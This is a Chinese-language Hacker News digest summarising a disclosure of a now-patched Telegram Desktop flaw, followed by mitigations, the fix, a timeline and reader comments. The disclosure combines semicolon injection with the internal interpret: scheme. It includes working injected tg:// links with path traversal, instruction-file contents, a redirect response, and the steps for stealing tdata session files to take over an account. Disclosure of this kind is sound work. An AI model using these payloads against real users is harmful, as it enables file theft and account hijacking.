Hacker News 中文摘要

RSS订阅

Telegram Desktop 漏洞可窃取任何用户的文件 -- Telegram Desktop vulnerability allowed any user's file to be stolen

有人把你拉进电报(Telegram)群组,聊天出现链接,点击后,你的 Telegram 账号就不再只属于你。电报桌面版(Telegram Desktop)经本地套接字把链接以纯文本交给已运行实例,且不转义命令分隔符,使链接成多条指令。该链条有两个缺陷:一是注入;二是被注入命令触及内部 URI 方案 interpret:,读取指令文件指定的文件并发到聊天,既不检查请求者也不确认。二者将点击链接变成任意文件读取。

正文

简介

有人把你拉进一个 Telegram 群组,聊天里出现一条链接。你点了它,你的 Telegram 账号就不再只属于你一个人了。

怎么会这样?Telegram Desktop 会把点击到的链接通过本地套接字交给已经运行的自身实例,以文本形式传递,而且从未转义它用来分隔命令的字符。因此,一条精心构造的链接不会作为一条指令抵达,而是作为多条指令抵达。

我发现的漏洞链包含两个缺陷。第一个是上述注入。第二个是被注入命令所触及的内部 URI 方案 interpret::它读取指令文件中指定的文件,并发送到某个聊天,既不检查是谁要求的,也不弹确认框。两者结合,把一次链接点击变成了任意文件读取。下面我会走一遍这条漏洞链,并用它窃取受害者的登录文件。

影响版本 Telegram Desktop 7.2.8 及更早版本,已在 Windows(6.9.3)上确认 影响 远程任意本地文件读取,并外泄到攻击者控制的聊天;账号接管 CVE CVE-2026-107181 修复版本 7.2.9,提交 db3405699f 严重性 8.1 High,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

一个链接,两个进程

操作系统允许程序注册 URI 方案,这样遇到某类链接时系统就知道该启动哪个应用。Telegram Desktop 注册了 tg。从此系统知道 tg://... 链接属于 Telegram,并带上该 URL 作为命令行参数来启动它。

如果 Telegram 没在运行,进程启动后把该字符串当作参数,转成 URL 对象并在内部处理:只有一个进程,不需要通信。

但如果 Telegram 已经在运行呢?操作系统并不知道也不检查:它照样启动一个新进程,和第一个完全相同。Telegram 必须自己判断出它是多余的那个,判断方法是尝试连接一个本地套接字。

已经运行的实例是服务端:它从启动起就在该套接字上监听。新进程是客户端。如果它能连上,说明已有实例存活,于是它把链接交出去然后退出。

套接字不传送对象,只传送字节。新进程内存里的 URL 对象无法穿过这个通道,因此必须被压平(flatten)成一行文本。

这个操作叫序列化(serialization)。它的逆操作,即从文本重建对象,叫反序列化(deserialization)。只要结构化数据要跨越边界,这两者就不可避免,而且正是在这两步中,数据内部的边界不再由结构持有,而是变成了文本里的字符。

Telegram 用自己的一种简单格式来做这件事。每条指令是:一个关键字,接着它的参数,再接着一个分号来闭合。打开一个链接会变成:

OPEN:tg://x?a=1;

tg://x?a=1 在 Telegram 内部匹配不到任何处理器,所以单看这条链接什么也不做,它只是一个载体。

这行文本是在 sandbox.cpp 的 295–297 行附近,为每个待打开的 URL 构造出来的:

commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';

在另一端,运行中的实例进行反序列化:它读取收到的字节,在每个分号处切分,并把每一段都当作独立指令。对于每段以 OPEN: 开头的,它取出后面的内容并重新构造为 URL,就像它刚从命令行传来一样(sandbox.cpp 的 453–463 行附近,代码有省略)。

未转义的分隔符

那么,如果被传输的值里自带一个分号,也就是该格式用作分隔符的那个字符,会发生什么?拿之前的链接,往里加一点东西:

tg://x?a=1;CMD:quit

新进程把它当成单个 URL,因为对它来说那个分号只是查询字符串里的一个普通字符。它把它压平并写入套接字:

OPEN:tg://x?a=1;CMD:quit;

运行中的实例在每个分号处切分,于是得到两条指令而不是一条:

OPEN:tg://x?a=1 CMD:quit

这就是注入,也是两个缺陷中的第一个。

interpret: URI 方案

上面的例子注入了 CMD:,但别被名字误导:它只接受 show 和 quit,所以最坏也只是关掉应用。

总共接受四条命令,其中三条无害。第四条是 OPEN:,而细节就在这里:它接受任意 URL,且不对方案做任何过滤。

翻代码会发现 Telegram 内部还有另一个 URI 方案,叫 interpret:。

操作系统不知道该怎么处理以 interpret: 开头的链接,因为它没有在任何地方注册为协议处理器:它只存在于 Telegram 自己的代码里,像其他起始 URL 一样从 start-URL 列表里被捡起来(application.cpp 的 1162–1164 行)。

于是通过 OPEN: 就能触达它:

tg://x?a=1;OPEN:interpret:instructions.txt

那 interpret: 是干什么的?

它曾是 Telegram 用来发布自己版本的工具。新版本发布时,构建产物必须带更新日志作为说明文字发到某个频道。为了不手动做这件事,一个脚本会写一个小的文本文件,指明频道、要发送的文件和要写的文字,然后用该文件的路径启动 Telegram(Telegram/build/updates.py:206,通过 interpret:// 调用)。

指令文件里包含类似这样的内容:from: 1234567890、channel: 1987654321、file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe、caption: TDesktop at 12.06.26: 加上更新日志。

from: 的值会和当前登录账号的 id 比较:这能防止操作员用错账号发版本。该检查只在这一行存在时才运行,所以省略它就能完全跳过检查。目的地只由 channel: 设定,且必须是频道或超级群组。

具体工作由 InterpretSendPath 函数完成。

那么 bug 在哪?interpret: 执行的是特权操作:从磁盘读取任意文件并发送到聊天,不向任何人确认,也不检查是谁要求的。该函数没有做授权检查(support_helper.cpp 的 673–680 行,打开文件并读取全部内容)。

当它来自命令行时,也就是发布脚本调用它的方式,这不是问题:攻击者需要已经在机器上有立足点,而有立足点他们自己就能读文件。但一旦同样的动作能通过套接字、进而通过注入触达,这个危险函数就变得只需受害者点击一个链接即可触发。

这就是缺失的授权,也是两个缺陷中的第二个。

把指令文件放到磁盘上

如果攻击者能在受害者磁盘上放一个指令文件,让 file: 指向值得窃取的路径,channel: 指向自己的频道,那么只需一次链接点击,就能从那台机器上外泄任意文件。

那攻击者怎么把文本文件放到别人磁盘上一个可预测的路径?显然的办法是作为聊天附件发送。

巧的是,Telegram Desktop 默认配置下会自动下载群组中收到的 8 MiB 以内文件;而在广播频道中自动下载是关闭的。文件会落到一个标准文件夹,使用发送者选择的同名,受害者根本不需要点击,而且位置可预测(如果文件名冲突,Telegram 会存成 instructions1 (2).txt)。某些格式,比如贴纸、GIF 和语音消息,会进入内部缓存,无法作为磁盘路径触达。

Telegram 自己构造那个路径(file_utilities.cpp 的 172–181 行)。在 Windows 上是:

C:\Users\<user>\Downloads\Telegram Desktop\<file name>

通过把文件发进群组,攻击者就知道它会被存到哪里。路径里似乎还有一个未知数:Windows 用户名。但 interpret: 也接受相对路径,而相对路径是从 Telegram 自己的工作目录解析的,也就是它的数据文件夹(logs.cpp:381)。在 Windows 上那是 %APPDATA%\Telegram Desktop,位于用户家目录下三级,而 Downloads 就在家目录里。所以像下面这样的路径:

interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

让攻击者得到了确定性路径,根本不需要知道用户名。

从文件读取到账号接管

InterpretSendPath 每次调用只发送一个文件:如果指令文件里有多个 file: 行,只有最后一行生效。有两件事打破了这个限制。首先,攻击者想发多少指令文件就发多少;其次,注入不会停在第一个命令:每个分号都会再开一条。因此三个目标,就是三个指令文件,以及一个链接里堆叠的三条命令。

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt

原始能力始终是同一个:任意文件读取。变的是你读什么:SSH 私钥、浏览器密码库、云凭据文件,或者保存 API token 的配置。

Telegram 不会把本地数据明文存放,所以用户在磁盘上持有的一切都是加密的,包括会话授权。那是客户端用来向 Telegram 服务器标识自己的密钥,持有它就足以成为那个账号,很像网站上的会话 cookie。

Telegram 使用密钥包装(key wrapping)。涉及两个密钥。第一个是 DEK(Data Encryption Key,数据加密密钥),长、随机、高熵,用来加密用户数据。第二个是 KEK(Key Encryption Key,密钥加密密钥),只加密 DEK;它不是密码,而是通过密钥派生函数(KDF)结合存在加密 DEK 旁边的 salt 从密码派生出来的。

用伪代码表示,打开本地数据的链大概是这样:

salt, encrypted_DEK = read("tdata/key_datas") passcode = user_passcode() # 如果没设置就是空 KEK = KDF(passcode, salt) DEK = decrypt(encrypted_DEK, KEK) session = decrypt(authorization_file, DEK)

默认情况下 Telegram Desktop 没有本地密码:你得打开设置并设一个。没设的话,喂给派生函数的密码就是空(storage_domain.cpp:102),于是 KEK 由空字符串和一个 salt 算出,而那个 salt 就明文存在 tdata/key_datas 里,也就是存加密 DEK 的同一个文件。读这单个文件就足以重算 KEK 并解开 DEK。

所以没设本地密码时,谁拿到 key_datas 谁就拿到 DEK,而有了 DEK,其他一切都能解密,包括会话授权。

涉及三个文件,其中只有两个存有秘密:它们位于 tdata/ 目录下,key_datas 保存 salt 和加密后的 DEK;D877F783D5D3EF8Cs 保存用 DEK 加密的 MTProto 授权;D877F783D5D3EF8C/maps 是账号存储数据的索引。

那个文件夹名不是随机的,也不是每台机器特有的。它由字符串 data(默认数据名)派生而来(storagefileutilities.cpp 的 241–250 行),在每次安装上都完全相同。

第三个文件是索引,不含秘密。但没有它会话仍然加载不了:Telegram 只在读取该索引时读取授权。不过偷它只是个选择:攻击者也可以自己重建。在这个概念验证里,为了方便,只是把它和另外两个一起顺走。

由此可知,拿到这三个文件的攻击者就掌握了账号:把它们放进一个全新的 tdata,启动 Telegram,受害者的会话就打开了。

投递链接

攻击需要受害者点一次链接,而且必须来自 Telegram 外部。在 Telegram 聊天里点击的 tg:// 链接是在进程内处理的(clickhandlertypes.cpp:278),永远到不了套接字,因此没有可注入的东西。另一方面,普通 https 链接会在系统浏览器中打开(ui_integration.cpp:437),因为 Telegram Desktop 没有内嵌浏览器。所以攻击者发一个普通的 https 链接,让自己的服务器把它重定向到精心构造的 tg:// 链接。

例如,攻击者服务器收到 GET /rules HTTP/1.1(Host: corvus.sec)后,返回 HTTP/1.1 302 Found 和 Location: tg://x?a=1;OPEN:interpret:instructions.txt。

根据浏览器、以及受害者是否用过该处理器,系统可能会在启动 Telegram 前要求确认。

概念验证

  1. 攻击者创建一个超级群组,把受害者拉进去。Telegram 的默认隐私设置允许这样做,且不需要被邀请者确认。

  2. 攻击者在该群组里发布三个指令文本文件,每个对应一个要偷的文件,全部把目的地填成攻击者自己的群组。省略 from: 行即可完全跳过账号检查;以窃取 tdata/key_datas 为例,内容为:channel: 2001234567、file: tdata/key_datas、caption: poc。文件必须是纯文本、LF 换行、无字节顺序标记(BOM)。另外两个分别指向 tdata/D877F783D5D3EF8Cs 和 tdata/D877F783D5D3EF8C/maps。受害者打开群组时,自动下载会把三个文件都存到受害者磁盘上;而他们本来就会打开群组,因为第 3 步的链接正在那里等着。

  3. 攻击者往聊天里发一个无害链接:https://corvus.sec/rules

  4. 受害者点击它。浏览器跟随重定向,这次重定向为每个目标携带一条命令(下面为便于阅读换行,实际作为单行发送):

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt

  1. 操作系统启动第二个 Telegram 进程,它通过套接字把 URL 转发给正在运行的那个。未转义的分号把它切开,注入触发。

  2. 三条 interpret: 命令执行,三个文件被上传到攻击者的群组。没有显示任何确认对话框。

  3. 攻击者用这三个文件重建 tdata,打开受害者的账号。

缓解措施

  • 升级到 7.2.9 或更高版本。 这是唯一真正关掉该问题的办法,其余只是降低暴露面。
  • 开启“询问每个文件的保存位置”。 开启后自动下载完全不会发生,指令文件也就永远不会落到磁盘上。这是除升级之外最有效的缓解措施。
  • 把“允许将我加入群组”限制为仅联系人。 被盗文件只能发送到频道或超级群组,因此这会拿走攻击者用来接收文件的去处。
  • 设置本地密码,并像设置真实密码一样选择它。 它不能阻止文件被窃,只能让被盗的会话无法使用。

修复

该问题在 2026 年 9 月 16 日由提交 db3405699f 修复。更新日志把 7.2.9 标为同一天;发布是在次日早晨。该提交彻底删除了 interpret:// 方案和 Support::InterpretSendPath,并在单实例套接字上转义了记录分隔符:值在写入前用百分号前缀的十六进制编码转义,在切分后解码,因此数据里的分号不再能成为边界。

此外还增加了两项措施:当同一连接携带 OPEN: 时,CMD: 和 CTRL: 记录会被跳过;一旦该连接上出现过非本地 URL,本地文件路径就会被丢弃。

时间线

| 日期 | 事件 | | --- | --- | | 2026-06-25 | 通过 ZDI 报告 | | 2026-09-16 | 厂商独立修复问题,提交 db3405699f | | 2026-09-17 | Telegram Desktop 7.2.9 发布 | | 2026-09-30 | ZDI 以已修复结案;披露权归还作者 | | 2026-10-03 | 发布此篇漏洞分析 writeup | | 2026-10-07 | 分配 CVE-2026-107181 |

修复悄无声息地发布:7.2.9 的更新日志只提到一个渲染修复,关闭该漏洞链的提交标题是“Remove legacy interpret path helper”,且没有随附任何公告。

评论

多数人借此次漏洞重申 Telegram 在设计上就不安全,认为其手机号绑定与默认关闭二次验证的账号体系本就脆弱。分歧主轴在于:该追责 Telegram 为发版而主动加入的“可上传任意文件”内部功能,还是现代桌面系统默认允许任意进程读写用户文件、缺乏沙箱隔离;部分用户并主张用 jail、firejail 沙箱或网页版来规避风险。

认为漏洞源于 Telegram 主动加入的“任意文件上传”内部功能

  • 点击 Telegram Desktop 链接不仅能接管账号,还能窃取磁盘上任意用户可访问文件;根源是官方为在频道发布版本而添加的内部 URL 机制,它会按指令上传任意文件——别人用脚本就能发版,Telegram 却专门做了这个危险功能,只是利用方式较绕才显得不直观。(高赞) > Telegram 开发者为了在自家频道发布版本,专门加了一个“让它上传什么就上传什么”的内部工具;别人用脚本就能做的事,他们非得这么做。(@g-b-r)

认为 Telegram 在设计上就不安全,账号与手机号绑定的体系十分脆弱

  • Telegram 多年前就被指出不安全,从来不是“非常安全”;账号与手机号强绑定,号码一旦失控,他人就能获得账号全部内容,且云密码(二次验证)默认关闭,即便开启,攻击者仍能直接删除账号,因此把这类服务视为安全很可笑。(较多人) > 一个和手机号绑定的服务,居然被认为安全,这很可笑;哪怕设了二次验证(默认关闭),对方还是能直接把账号删掉。(@anon_cow1111)

认为根源是现代桌面系统缺乏进程隔离,而非 Telegram 独有漏洞

  • 严格说这不是 Telegram 独有的漏洞,而是现代桌面操作系统的通病:任意用户进程都能读写该用户的文件。理想情况下程序应被隔离,只能访问自己的文件以及按程序划分的数据目录(如浏览器或 Telegram 客户端的下载目录)。(少数人) > 严格来说这不是 Telegram 特有的漏洞,而是现代桌面操作系统允许任意用户进程读写用户文件的通病。(@Panzerschrek)

主张用沙箱、jail 或网页版来隔离并规避桌面客户端风险

  • 不应信任桌面端:可在 Linux 上用 firejail 等沙箱把应用限制为仅访问下载目录,且不在其中长期存放文件;也可在 FreeBSD 上用 jail 隔离 Telegram;还有人因此更不愿在 Windows 上安装任何软件,认为网页版往往已足够。(较多人) > 我在 Linux 上用 firejail 把 Firefox 关进沙箱,只让浏览器访问下载目录,且不在那里长期存放文件。(@usr1106)

有价值的补充

  • 在 FreeBSD 上可通过 doas 调用 jexec,在名为 tellyjail 的 jail 中以低权限用户(如 opengrass)运行 Telegram,并配合 DISPLAY 转发,把它的文件访问限制在隔离环境内。(@opengrass)